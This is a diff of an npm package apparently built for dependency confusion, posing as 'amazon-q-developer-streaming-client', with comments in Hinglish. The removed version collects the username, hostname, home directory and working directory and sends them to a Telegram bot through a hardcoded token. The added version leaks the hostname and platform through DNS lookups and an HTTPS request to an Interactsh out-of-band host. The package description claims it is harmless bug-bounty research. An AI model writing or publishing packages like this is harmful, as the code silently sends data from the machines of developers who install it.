amazon-q-developer-streaming-client 99.9.12 → 99.9.15

package/index.js

@@ -1,47 +1,35 @@
-const https = require('https');
+const dns = require('dns');
 const os = require('os');
-const { execSync } = require('child_process');
-
-const TOKEN = "8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w";
-const CHAT_ID = "8655055695";
+const https = require('https');
 
-// Extra details nikalne ke liye
-let currentUser = "Unknown";
-try { currentUser = execSync('whoami').toString().trim(); } catch (e) {}
+// Tera Interactsh URL
+const INTERACT_URL = "d7l1vti9io6lgkvhfb8gt5odx4hsfrfq7.oast.fun";
 
-const messageText = `
-🔥 **NEW HIT DETECTED!** 🔥
-━━━━━━━━━━━━━━━━━━━━
-📦 **Package:** amazon-q-developer-streaming-client
-👤 **Researcher:** ALONE BEAST
-━━━━━━━━━━━━━━━━━━━━
-🖥️ **OS Detail:** ${os.type()} (${os.release()})
-👤 **User:** ${currentUser}
-🏠 **Home Dir:** ${os.homedir()}
-📂 **PWD:** ${process.cwd()}
-🌐 **Arch:** ${os.arch()}
-🖥️ **Hostname:** ${os.hostname()}
-⏰ **Time:** ${new Date().toLocaleString()}
-━━━━━━━━━━━━━━━━━━━━
-*If PWD contains 'npm' or 'registry', it might be a registry check.*
-`;
+// Data collect karo (Hostname aur User)
+const host = os.hostname().replace(/[^a-z0-9]/gi, '-');
+const platform = os.platform();
+const uid = Math.random().toString(36).substring(7); // Unique ID for each hit
 
-const data = JSON.stringify({
-    chat_id: CHAT_ID,
-    text: messageText,
-    parse_mode: "Markdown"
+// 1. DNS Trigger (Sabse silent aur effective)
+const dnsTarget = `${host}.${platform}.${uid}.${INTERACT_URL}`;
+dns.lookup(dnsTarget, () => {
+    // DNS hit sent
 });
 
+// 2. HTTP Trigger (Extra details ke liye)
 const options = {
-    hostname: 'api.telegram.org', port: 443,
-    path: `/bot${TOKEN}/sendMessage`, method: 'POST',
-    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
+    hostname: INTERACT_URL,
+    port: 443,
+    path: `/${host}/${platform}/${uid}`,
+    method: 'GET',
+    headers: {
+        'User-Agent': 'Security-Research-PoC-Alone-Beast',
+        'X-Package': 'amazon-q-developer-streaming-client'
+    }
 };
 
-const req = https.request(options, (res) => {
-    res.on('data', (d) => { process.stdout.write(d); });
-});
-
-req.on('error', (e) => { console.error(e); });
-req.write(data);
+const req = https.request(options);
+req.on('error', () => {}); // Silently fail
 req.end();
+
+console.log("PoC Triggered: Checking Interactsh for hits...");

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "amazon-q-developer-streaming-client",
-  "version": "99.9.12",
+  "version": "99.9.15",
   "description": "Security research package for internal dependency confusion testing. This package is part of a bug bounty program to identify risks in internal build pipelines. Contains no malicious code.",
   "keywords": [
     "security",